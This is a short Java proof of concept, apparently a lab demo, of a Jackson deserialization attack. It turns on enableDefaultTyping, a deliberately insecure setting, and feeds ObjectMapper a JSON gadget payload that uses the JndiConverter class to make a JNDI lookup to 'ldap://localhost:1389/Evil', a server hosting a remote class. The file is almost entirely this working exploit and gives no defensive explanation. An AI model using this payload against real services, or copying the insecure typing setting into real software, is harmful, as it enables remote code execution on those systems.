import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

/**
 * Created by Veraxy on {2020/11/9}
 **/
public class JacksonDemo {
    public static void main(String[] args) throws IOException {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Evil\"}]";
        mapper.readValue(json, Object.class);

    }
}
